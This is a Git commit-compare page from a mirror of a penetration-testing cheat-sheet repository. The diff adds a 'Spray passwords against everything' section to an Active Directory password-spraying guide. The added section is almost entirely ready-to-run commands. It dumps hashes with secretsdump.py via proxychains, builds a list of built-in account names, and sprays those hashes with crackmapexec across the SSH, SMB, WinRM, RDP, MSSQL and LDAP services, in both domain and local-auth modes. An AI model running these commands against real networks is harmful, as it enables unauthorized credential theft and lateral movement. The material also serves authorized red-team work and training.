swisskyrepo
/
InternalAllTheThings
mirror of https://github.com/swisskyrepo/InternalAllTheThings.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Compare commits

base: swisskyrepo:94921ca71e90daeab994fb58224d94ae58c9700b
Branches Tags
swisskyrepo:gh-pages
swisskyrepo:main
...
compare: swisskyrepo:dce6446cb4e3c8df7f115406ca07655798fcf165
Branches Tags
swisskyrepo:gh-pages
swisskyrepo:main

2 Commits
94921ca71e ... dce6446cb4

Author SHA1 Message Date
NoPurposeInLife dce6446cb4
Merge 2143a1a52e into d07e3a2727 2024-10-04 17:24:43 -03:00
NoPurposeInLife 2143a1a52e
Update pwd-spraying.md 2024-07-25 21:49:15 +08:00
1 changed files with 25 additions and 1 deletions
Show Stats Expand all files Collapse all files

26
docs/active-directory/pwd-spraying.md
View File

@ -68,6 +68,30 @@ Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
```
## Spray passwords against everything
* Using [crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec)
```
> Take Administrator Password from mimikatz and secretsdump.py (Make sure you copy and save all the hash into hashes.txt)
proxychains4 -q -f /etc/proxychains_9052.conf python secretsdump.py -hashes :077a55c458dc4002dfdc5321a7659526 EXAMPLE.COM/Administrator@sql01.example.com
echo "" >> users.txt
echo "Administrator" >> users.txt
echo "Guest" >> users.txt
echo "DefaultAccount" >> users.txt
echo "WDAGUtilityAccount" >> users.txt
proxychains4 -q ./cme ssh --continue-on-success -u users.txt -H hashes.txt -d example.com targets.txt | grep "\[+\]"
proxychains4 -q ./cme smb --continue-on-success -u users.txt -H hashes.txt -d example.com targets.txt | grep "\[+\]"
proxychains4 -q ./cme winrm --continue-on-success -u users.txt -H hashes.txt -d example.com targets.txt | grep "\[+\]"
proxychains4 -q ./cme rdp --continue-on-success -u users.txt -H hashes.txt -d example.com targets.txt | grep "\[+\]"
proxychains4 -q ./cme mssql --continue-on-success -u users.txt -H hashes.txt -d example.com targets.txt | grep "\[+\]"
proxychains4 -q ./cme ldap --continue-on-success -u users.txt -H hashes.txt -d example.com targets.txt | grep "\[+\]"
proxychains4 -q ./cme ssh --continue-on-success -u users.txt -H hashes.txt --local-auth targets.txt | grep "\[+\]"
proxychains4 -q ./cme smb --continue-on-success -u users.txt -H hashes.txt --local-auth targets.txt | grep "\[+\]"
proxychains4 -q ./cme winrm --continue-on-success -u users.txt -H hashes.txt --local-auth targets.txt | grep "\[+\]"
proxychains4 -q ./cme rdp --continue-on-success -u users.txt -H hashes.txt --local-auth targets.txt | grep "\[+\]"
proxychains4 -q ./cme mssql --continue-on-success -u users.txt -H hashes.txt --local-auth targets.txt | grep "\[+\]"
proxychains4 -q ./cme ldap --continue-on-success -u users.txt -H hashes.txt --local-auth targets.txt | grep "\[+\]"
```
## BadPwdCount attribute
@ -77,4 +101,4 @@ Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
$ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP 10.0.2.11 389 dc01 Guest badpwdcount: 0 pwdLastSet: <never>
LDAP 10.0.2.11 389 dc01 krbtgt badpwdcount: 0 pwdLastSet: <never>
```
```